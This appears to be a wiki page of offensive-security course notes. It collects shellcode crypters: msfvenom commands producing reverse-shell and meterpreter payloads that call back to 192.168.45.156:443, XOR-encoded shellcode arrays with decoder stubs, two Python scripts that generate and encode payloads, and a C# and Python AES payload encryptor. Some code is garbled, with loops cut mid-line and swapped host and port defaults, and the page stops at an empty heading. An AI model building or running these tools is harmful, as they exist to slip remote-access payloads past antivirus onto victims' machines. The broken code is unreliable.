Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
